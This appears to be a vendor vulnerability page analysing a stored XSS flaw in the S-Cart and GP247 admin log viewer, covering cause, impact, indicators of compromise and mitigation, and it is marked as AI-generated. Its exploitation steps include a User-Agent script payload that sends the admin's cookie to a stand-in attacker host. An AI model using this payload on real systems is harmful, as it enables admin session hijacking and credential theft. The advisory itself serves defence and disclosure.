CVE-2025-57407
PHP vulnerability analysis and mitigation

Overview

CVE-2025-57407 is a stored cross-site scripting (XSS) vulnerability in the Admin Log Viewer component of S-Cart (≤10.0.3) and the GP247 core package (< 1.1.24). A remote authenticated attacker can inject arbitrary web script or HTML via a crafted User-Agent HTTP header; the payload is stored in the security log and executes in an administrator's browser when the log page is viewed. The vulnerability was published on September 23, 2025, and reported by Gabriel Vernilo (Github Advisory). It carries a CVSS v3.1 base score of 5.4 (Medium) (Github Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), classified as a stored XSS. Reviewing the vulnerable AdminLogController.php, the user_agent field retrieved from the database is rendered directly into the admin log list view without HTML encoding — unlike the input field, which is passed through htmlspecialchars() (S-Cart Source). An attacker with any authenticated session (low-privilege user) sends an HTTP request to the application with a malicious User-Agent header containing a JavaScript payload; this value is logged and later rendered unsanitized in the admin panel (Github Advisory). Exploitation requires the administrator to navigate to the security log page, making user interaction a prerequisite.

Impact

Successful exploitation allows the injected script to execute in the context of an administrator's browser session, potentially enabling session hijacking, theft of administrative credentials, or unauthorized actions within the application (Github Advisory). The confidentiality and integrity of the subsequent (administrator's) session are at risk, though the vulnerable system itself has no direct confidentiality or integrity impact per CVSS v4 scoring. Availability is not affected. The scope is limited to the admin panel, but a successful session hijack could grant an attacker full administrative control of the e-commerce platform.

Exploitability

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time (Github Advisory). The EPSS score is approximately 0.044–0.077%, placing it in a low percentile for near-term exploitation likelihood (Github Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privilege authenticated account and administrator interaction with the log page, which somewhat limits opportunistic exploitation.

Exploitation steps

  1. Obtain a low-privilege account: Register or obtain any authenticated user account on the target S-Cart (≤10.0.3) or GP247 core (< 1.1.24) instance.
  2. Craft a malicious User-Agent header: Prepare an HTTP request with a User-Agent header containing a JavaScript payload, e.g., User-Agent: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  3. Trigger log entry creation: Send any authenticated HTTP request to the application (e.g., browsing a product page or submitting a form) using the crafted User-Agent header. The application logs this request, storing the unsanitized payload in the admin_log database table.
  4. Wait for administrator review: The injected script remains dormant in the security log until an administrator navigates to the Admin Log Viewer page.
  5. Script executes in admin browser: When the administrator views the security log, the stored payload renders without sanitization and executes in their browser, potentially exfiltrating their session cookie or performing actions on their behalf (S-Cart Source, Github Advisory).

Indicators of compromise

  • Network: Outbound HTTP requests from the administrator's browser to unexpected external domains immediately after viewing the admin log page; unusual POST requests to attacker-controlled endpoints containing cookie or session data.
  • Logs: Application access logs showing requests with anomalous or script-containing User-Agent strings (e.g., strings containing <script>, javascript:, onerror=, or encoded variants); database records in the admin_log table with HTML/JavaScript content in the user_agent column.
  • Browser: Unexpected redirects or network requests initiated from the admin panel page; browser developer tools showing script execution originating from the log viewer page.
  • File System: No direct file system artifacts expected for this XSS vector, but post-exploitation activity (e.g., new admin accounts, modified settings) may indicate successful session hijacking.

Mitigation and workarounds

The GP247 core package was patched in version 1.1.24, which addresses the stored XSS by properly encoding the user_agent field before rendering (GP247 Release). For S-Cart, the s-cart/core package versions ≤9.0.5 are listed as unpatched in the GitHub Advisory; users should upgrade to the latest available version beyond 10.0.3 (Github Advisory). As interim mitigations, implement a Content Security Policy (CSP) header to restrict inline script execution, apply strict input validation and output encoding for all user-supplied HTTP headers, restrict administrative access using multi-factor authentication, and limit which users can trigger log entries.

Community reactions

A Medium article published shortly after disclosure highlighted the vulnerability under the title "CVE-2025-57407: XSS Vulnerability Plagues S-Cart Admin Log Viewer — Update Now," indicating some community awareness. No significant vendor statements beyond the patch release notes or notable researcher commentary beyond the original reporter (Gabriel Vernilo) have been identified.

Additional resources


SourceThis report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-59989CRITICAL9.2
  • PHP logoPHP
  • phalcon/cphalcon
NoYesAug 21, 2026
CVE-2026-63135HIGH8.2
  • PHP logoPHP
  • yourls/yourls
NoYesAug 21, 2026
GHSA-p2ch-c2c3-4xm5MEDIUM6.1
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026
GHSA-8hgv-xc77-jmcrMEDIUM5.1
  • PHP logoPHP
  • getgrav/grav
NoYesAug 21, 2026
GHSA-hq84-x37p-j6q5MEDIUM4.5
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management